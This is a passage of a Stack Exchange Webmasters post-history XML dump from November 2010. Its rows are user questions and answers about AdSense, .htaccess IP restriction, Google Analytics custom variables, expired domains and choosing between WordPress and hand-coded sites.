though.&#xD;&#xA;&#xD;&#xA;Finally, you could just optimize your search results page to contain the search query in the title, meta keywords and description, the `&lt;h1&gt;` tag and a couple of times throughout your page. This way you might be able to trick adsense into displaying ads that relate to the searched terms, but it's in no way waterproof. " />
  <row Id="11898" PostHistoryTypeId="2" PostId="5960" RevisionGUID="5b775a9c-52e7-4e79-b24c-ccef0ae821d4" CreationDate="2010-11-26T15:17:03.670" UserId="1253" Text="If you're going to block your tag archives then you also need to remove the tag cloud from your pages as you'll still be diluting PR as PR is sent to every page you link to even those with nofollow or blocked by robots.txt. Those pages don't get to keep that PR but the PR is sent to them anyway diluting the PR sent to your other pages.&#xD;&#xA;&#xD;&#xA;I say let those pages be indexed. They're a great way to target specific keywords and can drive traffic to your website. I don't think by hiding them from the search engines that you'll be doing yourself any good. &#xD;&#xA;&#xD;&#xA;I also think you're paying way too much attention to PR. Yes, it's a Google ranking factor, but it's nothing to go removing pages from Google's index for. " />
  <row Id="11899" PostHistoryTypeId="2" PostId="5961" RevisionGUID="8b4aba96-3dc9-4394-ab6a-e30bbcb59a28" CreationDate="2010-11-26T15:22:53.917" UserId="1253" Text="For the sake of variety: if you have a static IP address you could block all IP addresses except yours:&#xD;&#xA;&#xD;&#xA;    order deny, allow&#xD;&#xA;    deny from all&#xD;&#xA;    allow from xxx.xxx.xxx.xxx&#xD;&#xA;&#xD;&#xA;Just change xxx.xxx.xxx.xxx to be your IP address." />
  <row Id="11900" PostHistoryTypeId="2" PostId="5962" RevisionGUID="54b96e65-ce20-4fc7-a1af-82bf5bf160db" CreationDate="2010-11-26T15:34:42.620" UserId="3265" Text="Do you use a Facebook application ID? If you do, you should see a link under the comments box plug-in where you can administrate/moderate comments. I think there is an option there for you to ask to be notified of comments; I'm not sure about this because I haven't got as far as trying it out yet (because of what I say in the next paragraph) but it looks like that is what it does. You can get an app ID from [here][1]&#xD;&#xA;&#xD;&#xA;I should warn you first, though, at this point I am having a [problem with my comments plug-in][2] — I previously did not use an app ID and people left comments on my website without problem. After I got an app ID and started using it, all the previous comments have disappeared. Also, if I try to go back to not using an app ID the comments box will no longer load. I say this to you because I don't want you to start using an app ID and lose all your comments on your website&#xD;&#xA;&#xD;&#xA;I am currently trying to find out if it is a &quot;feature&quot; of the Facebook platform (or the Drupal extension module I am using) or a bug. Please feel free to follow along with [my question on this forum][2] which will hopefully clarify the issue.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://developers.facebook.com/setup/&#xD;&#xA;  [2]: http://webmasters.stackexchange.com/questions/5942/facebook-social-plugin-comments-disappear-from-my-drupal-site-after-using-faceboo" />
  <row Id="11901" PostHistoryTypeId="2" PostId="5963" RevisionGUID="9c161d00-9f36-42fc-abf8-f2e230f4d886" CreationDate="2010-11-26T15:42:30.930" UserId="3453" Text="I once came up with a solution I call .htaccess maintenance mode.&#xD;&#xA;It uses mod_rewrite, restricts the site to your IP address, and redirects other people to another URL.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    &#xD;&#xA;    RewriteCond %{REMOTE_ADDR} !^192\.168\.1\.100&#xD;&#xA;    RewriteCond %{REQUEST_URI} !^/403\.html$&#xD;&#xA;    RewriteRule ^(.*)$ http://site.com/403.html [R=307,L]&#xD;&#xA;&#xD;&#xA;A little explanation:&#xD;&#xA;The first line checks the IP address. The third one redirects the user to the 403.html page. Basically it would redirect all pages to 403.html, including 403.html - the second line prevents that so users can't go into an endless redirect loop." />
  <row Id="11902" PostHistoryTypeId="2" PostId="5964" RevisionGUID="6868bdaa-86d2-4b89-a3de-6bb0a97c1e15" CreationDate="2010-11-26T16:15:30.893" UserId="2713" Text="You could also try AdSense for Search: [http://www.google.com/adsense/afs][1]&#xD;&#xA;As long as I know, you can use it with your &quot;search engine&quot;, you don't necessarily have to use Google Custom Seaaarch.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/adsense/afs" />
  <row Id="11903" PostHistoryTypeId="2" PostId="5965" RevisionGUID="acb9e115-4d8f-473a-bcb4-fd36b5a9c940" CreationDate="2010-11-26T16:46:18.120" UserId="233" Text="I don't see any problems with this; as far as I know it is not against the Adsense TOS. Each search result is its own page, e.g. `example.com/search?q=widgets` so the Adsense crawler can see each search result and the page's content.&#xD;&#xA;&#xD;&#xA;The main problem would come in that the pages don't have any unique content, it's all snippets from other sites. The quality of your ads is likely to be pretty low.&#xD;&#xA;&#xD;&#xA;Otherwise try Adsense for Search like bdadam suggested." />
  <row Id="11904" PostHistoryTypeId="2" PostId="5966" RevisionGUID="dced0be4-427e-4804-bbfa-db7b01c739a3" CreationDate="2010-11-26T17:05:23.647" UserId="2379" Text="Actually paypal does have a pending payment type for subscriptions.  One more reason not to deal with Paypal. &#xD;&#xA;&#xD;&#xA;The trouble you run into is that some transactions will not clear, sometimes a paypal account is new, foreign transactions also fall under pending.&#xD;&#xA;&#xD;&#xA;The worst part about paypal subscriptions is that there is no real upgrade path, you could use recurring payment profiles instead of subscriptions, but those also have a limit for upgrades and downgrades.  &#xD;&#xA;&#xD;&#xA;If you can afford to get a real merchant account, do so. " />
  <row Id="11905" PostHistoryTypeId="2" PostId="5967" RevisionGUID="d2b6d860-073b-4b30-98ed-9a1d2e606f18" CreationDate="2010-11-26T17:08:05.397" UserId="2466" Text="Take a look at http://browsershots.org/.  The source is available at http://code.google.com/p/browsershots/." />
  <row Id="11906" PostHistoryTypeId="2" PostId="5968" RevisionGUID="8d39974b-e385-4e38-aa1f-553734f1fc91" CreationDate="2010-11-26T17:08:40.153" UserId="2379" Text="Picnik has a tool for this.. http://www.picnik.com/&#xD;&#xA;its not the most elegant solution, but sites like constant contact use it for their image editing.  &#xD;&#xA;&#xD;&#xA;I would stay away from Both Java and Silverlight. Not enough users have the plugins yet for SL, and Java is a joke when it comes to loading on windows. You could use flash for something like this, but then you are really neglecting all those ipad users (all 1% of them!). Picnik is built on flash.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="11907" PostHistoryTypeId="5" PostId="5945" RevisionGUID="e0414b66-1840-4d76-ad6e-772863f26424" CreationDate="2010-11-26T17:59:06.270" UserId="3482" Comment="added 33 characters in body" Text="I use a [PHP function][1] to generate some javascript to output the the script at runtime. Note that you don't *need* PHP to generate the JS at runtime, you can generate the JS once locally and then include the static JS in your page.&#xD;&#xA;&#xD;&#xA;You can also use the linked function with this snippet below to automatically obfuscate email addresses in given a given HTML (where $processedContent is the HTML):&#xD;&#xA;&#xD;&#xA;     $emailMatches = array();&#xD;&#xA;     $matchCount = preg_match_all('/(?:[a-zA-Z0-9_\.\-])+\@(?:(?:[a-zA-Z0-9\-])+\.)+(?:[a-zA-Z0-9]{2,4})+/', $processedContent, $emailMatches);&#xD;&#xA;     &#xD;&#xA;     if($matchCount &gt; 0) {&#xD;&#xA;        $emailMatches = $emailMatches[0];&#xD;&#xA;   &#xD;&#xA;        foreach($emailMatches as $email) {&#xD;&#xA;        $replacement = createJSMailLink($email);&#xD;&#xA;    &#xD;&#xA;        $processedContent = str_replace($email, createJSMailLink($email), $processedContent);&#xD;&#xA;     }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://snipplr.com/view/10947/secure-email-link/" />
  <row Id="11908" PostHistoryTypeId="2" PostId="5970" RevisionGUID="4d1c38b7-1625-466a-aee2-ae29a34f26d2" CreationDate="2010-11-26T16:20:27.870" UserDisplayName="Rob" Text="You can't, they've not stolen it from you. It expired and they bought it. You could try and use a service that will grab it for you if it's available again but there you are." />
  <row Id="11909" PostHistoryTypeId="2" PostId="5971" RevisionGUID="05bc0f3b-47f5-4780-b9af-c67f025f7f17" CreationDate="2010-11-26T16:20:41.693" UserDisplayName="Kolink" Text="I know your pain, the same thing happened to me before.&#xD;&#xA;&#xD;&#xA;Usually you would have to contact the person who &quot;sniped&quot; you and ask them, but the reason they do the sniping in the first place is to get money out of you to get your domain back.&#xD;&#xA;&#xD;&#xA;What I ended up doing was just to switch TLD, from .com to .org - you can try this, or get a similar but different domain name (for instance add a hyphen if there are two words in the name)&#xD;&#xA;&#xD;&#xA;Best of luck!" />
  <row Id="11910" PostHistoryTypeId="2" PostId="5969" RevisionGUID="9405abad-0da1-4c2f-80c2-9a365004375d" CreationDate="2010-11-26T16:16:21.300" UserDisplayName="ashkanr" Text="Sorry if this is not the right place to ask this question but I couldn't find the right stack-exch site to ask this.&#xD;&#xA; We have registered a domain name a year ago and unfortunately we missed renewing the registration and domain expired. Seems there was an bot that registers such expired domains so Now that we want to take the domain name back it is very hard.&#xD;&#xA; I even could not find the registerer's info on sites like whois. So please if you had similar experience let me know what did you do to take back your domain name.&#xD;&#xA;&#xD;&#xA; Thanks in advance for your time. " />
  <row Id="11911" PostHistoryTypeId="1" PostId="5969" RevisionGUID="9405abad-0da1-4c2f-80c2-9a365004375d" CreationDate="2010-11-26T16:16:21.300" UserDisplayName="ashkanr" Text="How to take back our domain name?" />
  <row Id="11912" PostHistoryTypeId="3" PostId="5969" RevisionGUID="9405abad-0da1-4c2f-80c2-9a365004375d" CreationDate="2010-11-26T16:16:21.300" UserDisplayName="ashkanr" Text="&lt;web-hosting&gt;&lt;domain-names&gt;" />
  <row Id="11913" PostHistoryTypeId="17" PostId="5969" RevisionGUID="829a280c-0250-4181-8865-605e8488992b" CreationDate="2010-11-26T17:59:07.713" UserId="-1" Comment="from http://stackoverflow.com/questions/4286902/how-to-take-back-our-domain-name" Text="" />
  <row Id="11914" PostHistoryTypeId="2" PostId="5972" RevisionGUID="b556d20b-238e-44f8-8a23-2e6bdf5958a0" CreationDate="2010-11-26T20:16:45.223" UserId="1585" Text="How do i properly use custom vars in google analytics? I used the code below and here is what i notice&#xD;&#xA;&#xD;&#xA;1. i only seen 'one' being in the get request&#xD;&#xA;2. After 24 hours only 'one' showed up&#xD;&#xA;3. After commenting out one and changing the 2 vars to use slotIndex-1 i notice NO vars going through GA&#xD;&#xA;&#xD;&#xA;What am i doing wrong?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    var _gaq = _gaq || [];&#xD;&#xA;    _gaq.push(['_setAccount', 'UA-12345678-1']);&#xD;&#xA;    &#xD;&#xA;    if (cond) {&#xD;&#xA;    	_gaq.push(['_setCustomVar',1, 'one', d1,1]); &#xD;&#xA;    	_gaq.push(['_setCustomVar',2, 'name two', &quot;sz&quot;,1]); &#xD;&#xA;    	_gaq.push(['_setCustomVar',3, 'name3', boolVal,1]); &#xD;&#xA;    }&#xD;&#xA;    _gaq.push(['_trackPageview']);&#xD;&#xA;    &#xD;&#xA;    (function () {&#xD;&#xA;        var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;&#xD;&#xA;        ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';&#xD;&#xA;        var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);&#xD;&#xA;    })();&#xD;&#xA;&#xD;&#xA;" />
  <row Id="11915" PostHistoryTypeId="1" PostId="5972" RevisionGUID="b556d20b-238e-44f8-8a23-2e6bdf5958a0" CreationDate="2010-11-26T20:16:45.223" UserId="1585" Text="How do i properly use CustomVars in google analytics?" />
  <row Id="11916" PostHistoryTypeId="3" PostId="5972" RevisionGUID="b556d20b-238e-44f8-8a23-2e6bdf5958a0" CreationDate="2010-11-26T20:16:45.223" UserId="1585" Text="&lt;javascript&gt;&lt;google-analytics&gt;" />
  <row Id="11917" PostHistoryTypeId="5" PostId="5925" RevisionGUID="ca795d27-5eb9-474f-afea-e9ce556bad0e" CreationDate="2010-11-26T20:57:42.270" UserId="3472" Comment="paradoxical edit corrected" Text="I would like to know **(your subjective opinion on)**if making a search engine that indexes sites which index mega video links which contain movies that are protected by copyright law is legal. The thing is, viewing the streams is legal in the country I reside in (Switzerland) according to numerous news articles. Now uploading the streams is illegal that I know. But is indexing them also illegal? I mean all the links are also indexed on google but not selectively of course.&#xD;&#xA;&#xD;&#xA;I would very much appreciate an answer of any kind. I certainly do not want to do anything which is illegal.&#xD;&#xA;&#xD;&#xA;**I do not expect a definitive, jurisdictionally correct and educated answer, one which could be expected of a lawyer.**&#xD;&#xA;&#xD;&#xA;Thanking you in advance,&#xD;&#xA;Flyingswissman" />
  <row Id="11918" PostHistoryTypeId="2" PostId="5973" RevisionGUID="b842f7a4-efec-4565-925a-232e10cef929" CreationDate="2010-11-26T21:03:40.300" UserId="3453" Text="Another awesome solution would be Pixlr. It has many photoshop-like features (and I mean MANY - for a web app, that is), and has a decent API. Check it out [here][1].&#xD;&#xA;&#xD;&#xA;And yes, I would, too, stay away from java and silverlight tools. Pixlr would most probably be just fine for any web user.&#xD;&#xA;&#xD;&#xA;PS: I think it's better than Picnik (which, if I remember correctly, is now owned by Google).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://pixlr.com/developer/api/" />
  <row Id="11919" PostHistoryTypeId="2" PostId="5974" RevisionGUID="2b4db167-c055-4952-91f3-328d873b7d4e" CreationDate="2010-11-26T22:00:24.947" UserId="1064" Text="I would save a copy of the page locally to debug the Google Analytics scripts in this manner - look for Javascript syntax errors and calls to `_gaq.push()` which return an error.&#xD;&#xA;&#xD;&#xA;There is most likely a problem with the values you are passing - a review of the [_gaq Global Object][1] documentation would suggest that you can find out (in real-time) the number of commands which failed to execute with the return of a `_gaq.push()` call - for example:&#xD;&#xA;&#xD;&#xA;    var pushErrors = _gaq.push(['_setCustomVar',2, 'name two', &quot;sz&quot;,1]);&#xD;&#xA;    alert( 'Encountered ' + pushErrors + ' errors' );&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/apis/analytics/docs/gaJS/gaJSApi_gaq.html" />
  <row Id="11920" PostHistoryTypeId="5" PostId="5972" RevisionGUID="76758c51-ff3a-49a0-aa04-772479fbc4fc" CreationDate="2010-11-26T23:05:22.130" UserId="1585" Comment="added 128 characters in body" Text="How do i properly use custom vars in google analytics? I used the code below and here is what i notice&#xD;&#xA;&#xD;&#xA;1. i only seen 'one' being in the get request&#xD;&#xA;2. After 24 hours only 'one' showed up&#xD;&#xA;3. After commenting out one and changing the 2 vars to use slotIndex-1 i notice NO vars going through GA&#xD;&#xA;&#xD;&#xA;What am i doing wrong?&#xD;&#xA;&#xD;&#xA;-edit- Additional note. This code is at the end of my body inside of my static .js file. Which is included last or 2nd last.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    var _gaq = _gaq || [];&#xD;&#xA;    _gaq.push(['_setAccount', 'UA-12345678-1']);&#xD;&#xA;    &#xD;&#xA;    if (cond) {&#xD;&#xA;    	_gaq.push(['_setCustomVar',1, 'one', d1,1]); &#xD;&#xA;    	_gaq.push(['_setCustomVar',2, 'name two', &quot;sz&quot;,1]); &#xD;&#xA;    	_gaq.push(['_setCustomVar',3, 'name3', boolVal,1]); &#xD;&#xA;    }&#xD;&#xA;    _gaq.push(['_trackPageview']);&#xD;&#xA;    &#xD;&#xA;    (function () {&#xD;&#xA;        var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;&#xD;&#xA;        ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';&#xD;&#xA;        var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);&#xD;&#xA;    })();&#xD;&#xA;&#xD;&#xA;" />
  <row Id="11921" PostHistoryTypeId="2" PostId="5975" RevisionGUID="f1baa23f-943e-4aa7-a489-b3a41c269f54" CreationDate="2010-11-26T23:32:38.503" UserId="1585" Text="I'm not 100% sure but&#xD;&#xA;&#xD;&#xA;1. Bool Values are not allowed, only strings&#xD;&#xA;2. You string may be too long thus not included&#xD;&#xA;&#xD;&#xA;which may explain why neither are showing up." />
  <row Id="11922" PostHistoryTypeId="5" PostId="5972" RevisionGUID="611a1213-b1ce-423e-a54a-ed079af32b56" CreationDate="2010-11-26T23:44:14.607" UserId="1585" Comment="added 164 characters in body" Text="How do i properly use custom vars in google analytics? I used the code below and here is what i notice&#xD;&#xA;&#xD;&#xA;1. i only seen 'one' being in the get request&#xD;&#xA;2. After 24 hours only 'one' showed up&#xD;&#xA;3. After commenting out one and changing the 2 vars to use slotIndex-1 i notice NO vars going through GA&#xD;&#xA;&#xD;&#xA;What am i doing wrong?&#xD;&#xA;&#xD;&#xA;-edit2- I added my answer but i still dont have firefox requesting the image. Chrome looks like its doing it properly with opera and IE8 requesting very little.&#xD;&#xA;&#xD;&#xA;-edit- Additional note. This code is at the end of my body inside of my static .js file. Which is included last or 2nd last.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    var _gaq = _gaq || [];&#xD;&#xA;    _gaq.push(['_setAccount', 'UA-12345678-1']);&#xD;&#xA;    &#xD;&#xA;    if (cond) {&#xD;&#xA;    	_gaq.push(['_setCustomVar',1, 'one', d1,1]); &#xD;&#xA;    	_gaq.push(['_setCustomVar',2, 'name two', &quot;sz&quot;,1]); &#xD;&#xA;    	_gaq.push(['_setCustomVar',3, 'name3', boolVal,1]); &#xD;&#xA;    }&#xD;&#xA;    _gaq.push(['_trackPageview']);&#xD;&#xA;    &#xD;&#xA;    (function () {&#xD;&#xA;        var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;&#xD;&#xA;        ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';&#xD;&#xA;        var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);&#xD;&#xA;    })();&#xD;&#xA;&#xD;&#xA;" />
  <row Id="11923" PostHistoryTypeId="5" PostId="5972" RevisionGUID="1e56d9d4-985a-4568-a935-a077b9dc4040" CreationDate="2010-11-27T00:28:17.737" UserId="1585" Comment="deleted 19 characters in body" Text="How do i properly use custom vars in google analytics? I used the code below and here is what i notice&#xD;&#xA;&#xD;&#xA;1. i only seen 'one' being in the get request&#xD;&#xA;2. After 24 hours only 'one' showed up&#xD;&#xA;3. After commenting out one and changing the 2 vars to use slotIndex-1 i notice NO vars going through GA&#xD;&#xA;&#xD;&#xA;What am i doing wrong?&#xD;&#xA;&#xD;&#xA;-edit again- Ok everything works. The problem is what i guessed in my answer. Then in firefox i accidentally used the profile which had cookies disabled so GA .gif wasnt being requested. In short the problem below was the string is too long or the value wasnt a string.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    var _gaq = _gaq || [];&#xD;&#xA;    _gaq.push(['_setAccount', 'UA-12345678-1']);&#xD;&#xA;    &#xD;&#xA;    if (cond) {&#xD;&#xA;    	_gaq.push(['_setCustomVar',1, 'one', d1,1]); &#xD;&#xA;    	_gaq.push(['_setCustomVar',2, 'name two', &quot;sz&quot;,1]); &#xD;&#xA;    	_gaq.push(['_setCustomVar',3, 'name3', boolVal,1]); &#xD;&#xA;    }&#xD;&#xA;    _gaq.push(['_trackPageview']);&#xD;&#xA;    &#xD;&#xA;    (function () {&#xD;&#xA;        var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;&#xD;&#xA;        ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';&#xD;&#xA;        var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);&#xD;&#xA;    })();&#xD;&#xA;&#xD;&#xA;" />
  <row Id="11924" PostHistoryTypeId="5" PostId="5946" RevisionGUID="1d8f0836-2ede-49f0-a8f9-9203852f800a" CreationDate="2010-11-27T01:56:43.120" UserId="3199" Comment="deleted 1 characters in body" Text="Always buy your domain name. The cheapest ones start from 2 dollars up to 15... it's worth it. I once used free co.cc domain for my project and when it got bigger, I troubled so much moving the domain. Usually free domains are used by spammers so people/websites don't trust them either. For an example you can't post any domain ending with co.cc on Facebook. Even though my site is legit, I still can't share it on Facebook." />
  <row Id="11925" PostHistoryTypeId="2" PostId="5976" RevisionGUID="ecc00f9a-773b-4040-8f11-f6a4be2bcc94" CreationDate="2010-11-27T02:29:05.510" UserDisplayName="James Williams" Text="I currently run my own streaming server since none met my demands as a business. But you want to look at how easy it is to contact them and get a live person, and if you can find what clients use them." />
  <row Id="11926" PostHistoryTypeId="2" PostId="5977" RevisionGUID="b98e3c72-8cab-4a73-83ef-6a83a67f6958" CreationDate="2010-11-27T05:29:21.897" UserId="1757" Text="If the registrar is in the U.S. you may be able to reclaim the domain if it contains your company trademark. The [Anticybersquatting Consumer Protection Act][1] passed in 1999 was created specifically so companies can prevent other people from owning a domain that dilutes their trademark. So any domain similar to or containing your trademark would apply. This also protects you from typosquatters as well.&#xD;&#xA;&#xD;&#xA;However, if it's a generic domain and you never trademarked the domain name itself, then you're SOL.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Anticybersquatting_Consumer_Protection_Act" />
  <row Id="11933" PostHistoryTypeId="2" PostId="5979" RevisionGUID="0aa0b1a5-a25f-4373-8549-ec85174f5965" CreationDate="2010-11-27T15:14:26.463" UserId="3371" Text="I think web design is not different than any other technology aesthetic, and there are trends that form from successful standouts being copied, but through a slight overcompensation, which then builds upon the trend.  For instance bell bottom jeans--first a designer had a slightly wide cut, which proved original, and then the next season 5 other designers did the same but wider.  And so on, until after a couple years, bell bottoms were super wide and a designer came up with a peg leg and that &quot;reset&quot; the trend.  You can see this in other forms of art/technology/culture --&gt; ford explorer, brings the jeep cherokee, brings the cadillac and then the hummer to be reset by the mini or prius.  &#xD;&#xA;&#xD;&#xA;OK. . . so the question I have, is how might these sort of trend cycles manifest in web design?  " />
  <row Id="11934" PostHistoryTypeId="1" PostId="5979" RevisionGUID="0aa0b1a5-a25f-4373-8549-ec85174f5965" CreationDate="2010-11-27T15:14:26.463" UserId="3371" Text="What are the graphical and thematic trend cycles in web design?" />
  <row Id="11935" PostHistoryTypeId="3" PostId="5979" RevisionGUID="0aa0b1a5-a25f-4373-8549-ec85174f5965" CreationDate="2010-11-27T15:14:26.463" UserId="3371" Text="&lt;design&gt;" />
  <row Id="11936" PostHistoryTypeId="5" PostId="5925" RevisionGUID="ea704edb-0c5d-439d-bd51-da328ef77be1" CreationDate="2010-11-27T16:23:00.143" UserId="3472" Comment="major ediot, making needed adjustments to the nature of the question" Text="I would like to know  if **it is worth asking a lawyer about** making a search engine that indexes sites which index mega video links which contain movies that are protected by copyright law is legal. &#xD;&#xA;&#xD;&#xA;Specifically:&#xD;&#xA;&#xD;&#xA; - Do you believe it is ethically justifiable, from your point of view. I.e. if you knew legally it was o.k. would you do it?&#xD;&#xA; - Do you know of anyone which asked a lawyer on a similar topic and if so was the lawyer able to give a definitive answer?&#xD;&#xA; - Would you ever consider making a website of the kind and consult a lawyer or would you deem it immediately to be a grey and ambiguous area you wish not to be in.&#xD;&#xA;&#xD;&#xA;Answers should build on the facts that:&#xD;&#xA;&#xD;&#xA; - I have already finished coding a large part (still some bugs) I have therefore invested a faire amount of time&#xD;&#xA; - Dropping the project is an option I can live with&#xD;&#xA;&#xD;&#xA;Thanking you in advance,&#xD;&#xA;&#xD;&#xA;Flyingswissman" />
  <row Id="11937" PostHistoryTypeId="10" PostId="4497" RevisionGUID="d2f09d23-0eaf-4205-a214-c66746344413" CreationDate="2010-11-27T19:38:32.577" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="11938" PostHistoryTypeId="5" PostId="4497" RevisionGUID="ba6228e3-0e40-418b-9987-f078239e2788" CreationDate="2010-11-27T19:38:32.720" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [addthis button default message](http://webmasters.stackexchange.com/questions/4424/addthis-button-default-message)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;How to set default message, I am using addthis button for invite a friend Email on a website. that default message should also work if user choose gmail, yahoo etc from addthis box." />
  <row Id="11939" PostHistoryTypeId="2" PostId="5981" RevisionGUID="c6deaae4-b69a-4205-90b8-be9d64b598fa" CreationDate="2010-11-27T20:46:33.327" UserDisplayName="Lex" Text="http://www.phpro.org/tutorials/Tagging-With-PHP-And-MySQL.html&#xD;&#xA;&#xD;&#xA;http://www.brainhandles.com/techno-thoughts/simple-tagging-with-php-mysql&#xD;&#xA;&#xD;&#xA;http://alexking.org/projects/php-tag-engine" />
  <row Id="11940" PostHistoryTypeId="2" PostId="5980" RevisionGUID="b74687d5-4fd1-4e16-bf99-713515fa3b5e" CreationDate="2010-11-27T20:03:45.267" UserDisplayName="Chris" Text="This isn't really a programming question, but I couldn't think of a place where people can better answer my question then here.&#xD;&#xA;&#xD;&#xA;I allways had a joomla website, for me it's good, but it's not very flexible.&#xD;&#xA;&#xD;&#xA;My question is: In joomla you have some great SEO tools, like labeling or tagging your articles.&#xD;&#xA;&#xD;&#xA;I'm planning to make my own css/html based website without a cms behind it. &#xD;&#xA;&#xD;&#xA;Does anyone knows a labeling/tagging script whichcan be used for &quot;normal&quot; html/css based websites without for example joomla?" />
  <row Id="11941" PostHistoryTypeId="1" PostId="5980" RevisionGUID="b74687d5-4fd1-4e16-bf99-713515fa3b5e" CreationDate="2010-11-27T20:03:45.267" UserDisplayName="Chris" Text="SEO HTML for plain html css website" />
  <row Id="11942" PostHistoryTypeId="3" PostId="5980" RevisionGUID="b74687d5-4fd1-4e16-bf99-713515fa3b5e" CreationDate="2010-11-27T20:03:45.267" UserDisplayName="Chris" Text="&lt;html&gt;&lt;css&gt;&lt;seo&gt;&lt;joomla&gt;" />
  <row Id="11943" PostHistoryTypeId="17" PostId="5980" RevisionGUID="2227328b-314a-4366-bedf-72ca48bb8d54" CreationDate="2010-11-27T21:40:26.790" UserId="-1" Comment="from http://stackoverflow.com/questions/4293617/seo-html-for-plain-html-css-website" Text="" />
  <row Id="11944" PostHistoryTypeId="2" PostId="5982" RevisionGUID="714db4dc-ec60-42cd-86f4-d32a76d03a45" CreationDate="2010-11-27T23:44:37.380" UserId="3506" Text="When it comes to designing/coding presentational websites, with static content and few pages.. let's say, between 5 and 20. Would you go with wp, design a custom theme and update with content, or would you code from scratch a clean html/css eventually + some js ?&#xD;&#xA;&#xD;&#xA;For now, since I'm just stepping into web development, I see wordpress as a complex cms that loads slow in my browser.. &#xD;&#xA;&#xD;&#xA;Please help me find the pros/cons of both.&#xD;&#xA;How about seo/indexing?&#xD;&#xA;Is it worth learning wp for designing presentational websites ?&#xD;&#xA;&#xD;&#xA;P.S. I'm asking this because a lot of my friends, who are a bit more experienced than me, tend to recommend using wp because clients like it and it's easy, but I'm not sure yet." />
  <row Id="11945" PostHistoryTypeId="1" PostId="5982" RevisionGUID="714db4dc-ec60-42cd-86f4-d32a76d03a45" CreationDate="2010-11-27T23:44:37.380" UserId="3506" Text="Wordpress vs Clean html/css" />
  <row Id="11946" PostHistoryTypeId="3" PostId="5982" RevisionGUID="714db4dc-ec60-42cd-86f4-d32a76d03a45" CreationDate="2010-11-27T23:44:37.380" UserId="3506" Text="&lt;seo&gt;&lt;html&gt;&lt;web-development&gt;&lt;wordpress&gt;" />
  <row Id="11947" PostHistoryTypeId="5" PostId="5982" RevisionGUID="d8e4da3c-0f38-4eba-a3ca-d25601dc1267" CreationDate="2010-11-28T01:48:14.557" UserId="3506" Comment="added 125 characters in body; added 57 characters in body" Text="When it comes to designing/coding presentational websites, with static content and few pages.. let's say, between 5 and 20. Would you go with wp, design a custom theme and update with content, or would you code from scratch a clean html/css eventually + some js ?&#xD;&#xA;&#xD;&#xA;For now, since I'm just stepping into web development, I see wordpress as a complex cms that loads slow in my browser.. &#xD;&#xA;&#xD;&#xA;**EDIT:** I suppose a page generated with wordpress would load slower than a page that looks the same coded from scratch.&#xD;&#xA;&#xD;&#xA;Please help me find the pros/cons of both.&#xD;&#xA;How about seo/indexing?&#xD;&#xA;Is it worth learning wp for designing presentational websites ?&#xD;&#xA;&#xD;&#xA;P.S. I'm asking this because a lot of my friends, who are a bit more experienced than me, tend to recommend using wp because clients like it and it's easy, but I'm not sure yet.&#xD;&#xA;&#xD;&#xA;When It comes to you, what would you prefer and why ?" />
  <row Id="11948" PostHistoryTypeId="2" PostId="5983" RevisionGUID="443fc92f-8c5b-4034-9c37-2c6720f14643" CreationDate="2010-11-28T02:10:21.300" UserId="3506" Text="I don't think any tagging script would help you since you are only optimizing the content of your website, the best way would be to tag it all by yourself. &#xD;&#xA;&#xD;&#xA;Even if such kind of scripts would exist, and even if you could configure the scripts manually for *this* or *that* keyword you won't get a better result than the one you could get by doing it all by yourself." />
  <row Id="11949" PostHistoryTypeId="2" PostId="5984" RevisionGUID="67c9d191-508f-42ef-ac2c-4b4ff7ff19f6" CreationDate="2010-11-28T03:13:35.543" UserId="3506" Text="How important is a logo for a freelancer ?&#xD;&#xA;&#xD;&#xA;If I'm going to design a small static website to represent myself with 'about', 'skills', 'portfolio' ... etc. pages and I want to keep the design as simple as I can...&#xD;&#xA;&#xD;&#xA;Is it crucial to take lots of time and try to design an abstract logo that would represent me as a freelancer, or what I do ?" />
  <row Id="11950" PostHistoryTypeId="1" PostId="5984" RevisionGUID="67c9d191-508f-42ef-ac2c-4b4ff7ff19f6" CreationDate="2010-11-28T03:13:35.543" UserId="3506" Text="How important is the logo for a freelancer ?" />
  <row Id="11951" PostHistoryTypeId="3" PostId="5984" RevisionGUID="67c9d191-508f-42ef-ac2c-4b4ff7ff19f6" CreationDate="2010-11-28T03:13:35.543" UserId="3506" Text="&lt;website-design&gt;&lt;branding&gt;&lt;freelancer&gt;" />
